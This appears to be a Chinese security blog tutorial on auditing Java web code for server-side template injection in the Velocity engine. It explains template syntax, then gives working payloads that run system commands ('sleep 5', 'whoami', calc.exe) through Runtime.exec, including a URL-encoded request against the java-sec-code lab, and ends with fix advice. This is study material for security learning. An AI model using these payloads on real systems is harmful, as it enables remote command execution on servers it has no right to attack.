HacKerQWQ的博客空间

javaweb代码审计学习(SSTI漏洞)

Word count: 1.4kReading time: 6 min
2021/12/14 Share

SSTI漏洞

SSTI全称Server Side Template Injection,在Java中常用的模板语言有FreeMarkerVelocityThymeleafSpring View ManipulationPebbleJinJavaHubspot等等。

模板引擎支持在运行时使用HTML页面中的实际值替换变量/占位符,从而让HTML页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。cf69e88839fc-article-server-side-template-injection-article

Velocity引擎SSTI

Velocity 是一个基于 Java 的模板引擎。它允许网页设计者引用 Java 代码中定义的方法。网页设计者可以与Java程序员并行,按照模型-视图-控制器(MVC)模型开发网站,这意味着网页设计者可以只专注于创建一个精心设计的网站,而程序员可以专注于编写顶部-缺口代码。Velocity 将 Java 代码与网页分离,从长远来看,使网站更易于维护,并提供了Java 服务器页面(JSP) 或PHP的可行替代方案。

Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。完成后,Velocity 将为Turbine Web 应用程序框架提供模板服务。Velocity+Turbine 将提供模板服务,允许根据真正的 MVC 模型开发 Web 应用程序。

Velocity语法介绍

VTL(Velocity Template Language) 语句以*#字符开头并包含一个指令:set。当在线访问者请求您的网页时,Velocity 模板引擎会在您的网页中搜索所有#字符,然后确定哪些标记了VTL 语句的开头,哪些#*字符与VTL 无关。

简单概括:

引用以$开头,用于获取某些东西。指令以#开头,用于做某事

  • 赋值语句

    1
    2
    3
    4
    <html> 
    <body>
    #set( $foo = "Velocity" )
    你好 $foo 世界!</正文> </html>
  • 注释

    注释采用#放在段开头来表示,如果想表示多行注释,将#放在一头一尾即可

    1
    2
    3
    4
    5
    6
    ## 这是单行注释。

    #
    这是
    多行注释。
    #
  • 变量&属性&方法

    同php一样,采用$表示变量,.表示属性

    1
    2
    3
    4
    5
    6
    #a变量
    $a="test"
    #a变量的Value属性
    $a.Value
    #a变量的setValue方法
    $a.setValue("velocity")

    注意:从Velocity1.6开始支持可变参数的方法,如

    1
    2
    $sun.setPlanets(String... planets)
    $sun.setPlanets(String[] planets)

    属性也存在查找顺序,当输入$customers.address时查找顺序如下

    1
    2
    3
    4
    getaddress()
    getAddress()
    get("address")
    isAddress()

    如果是$customers.Address则大小写相反

    1
    2
    3
    4
    getAddress()
    getaddress()
    get("Address")
    isAddress()
  • 正式界定符{}(Formal Reference Notation)

    采用{}作为界定字符串的含义

    1
    2
    $appletree // 有歧义
    ${apple}tree //无歧义
  • 不解析符号

    如果想要不解析只需要用#[[]]#将模板语言包裹起来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #[[
    #foreach ($woogie in $boogie)
    nothing will happen to $woogie
    #end
    ]]#

    结果:
    #foreach ($woogie in $boogie)
    nothing will happen to $woogie
    #end
  • if/else/elseif

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #if( $foo < 10 )
    **Go North**
    #elseif( $foo == 10 )
    **Go East**
    #elseif( $bar == 6 )
    **Go South**
    #else
    **Go West**
    #end
  • for each

    1
    2
    3
    4
    5
    <ul>
    #foreach( $product in $allProducts )
    <li>$product</li>
    #end
    </ul>
  • include指令

    1
    2
    3
    #include( "one.txt" )
    #include( "one.gif","two.txt","three.htm" )
    #include( "greetings.txt", $seasonalstock )

    默认只引入TEMPLATE_ROOT下的文件,且不进行解析

  • parse指令

    parse标签跟include不同的就是会进行解析模板语言

    1
    #parse( "me.vm" )
  • evalute指令

    The #evaluate directive can be used to dynamically evaluate VTL

    1
    2
    3
    4
    5
    #set($source1 = "abc")
    #set($select = "1")
    #set($dynamicsource = "$source$select")
    ## $dynamicsource is now the string '$source1'
    #evaluate($dynamicsource)

    输出abc

  • Define指令

    Define指令用于指定一块VTL给变量

    1
    2
    3
    #define( $block )Hello $who#end
    #set( $who = 'World!' )
    $block
  • 更多用法:https://velocity.apache.org/engine/1.7/user-guide.html#the-mud-store-example

Velocity SSTI

$class.inspect(类/对象/字符串) 返回检查指定类或对象的新 ClassTool 实例
$class.type 返回正在检查的实际类

换句话说,我们可以将$class.inspect与$class.type 链接起来以获取对任意对象的引用。然后我们可以使用Runtime.exec()在目标系统上执行任意 shell 命令。这可以使用以下模板进行确认

该模板旨在引起明显的时间延迟。

1
%24class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep%205").waitFor()

确认存在SSTI之后就可以通过反射进行命令执行

命令执行的payload

1
2
3
4
5
6
7
8
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

弹calc的payload

1
#set($a="ddd");$a.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")

image-20211215133021013

其他Java模板引擎的语法及payload

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity

SSTI代码审计例子

SSTI代码审计思路:

  1. 通过代码查看模板引擎类型
  2. 学习对应的语法或直接使用payload来fuzz

使用java-sec-code的ssti作为例子,在SSTI.java文件处存在SSTI漏洞

img

对velocity模板处理器进行初始化,创建上下文(context)环境后接收$templete变量作为执行的模板

传入命令执行payload

1
/ssti/velocity?template=%23set($a=%22ddd%22);$a.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc.exe%22)

成功弹出calc

image-20211215234645423

SSTI自动注入工具tplmap

项目地址:https://github.com/epinna/tplmap

image-20211216231225353

SSTI漏洞修复

  1. 对用户输入进行过滤,对能够控制变量的定界符进行拦截。
  2. 如果需要向用户提供模板编辑功能,选择无逻辑模板引擎,如Handlebars、Moustache等
CATALOG
  1. 1. SSTI漏洞
  2. 2. Velocity引擎SSTI
    1. 2.1. Velocity语法介绍
  3. 3. Velocity SSTI
  • 其他Java模板引擎的语法及payload
  • SSTI代码审计例子
    1. 1. SSTI自动注入工具tplmap
  • SSTI漏洞修复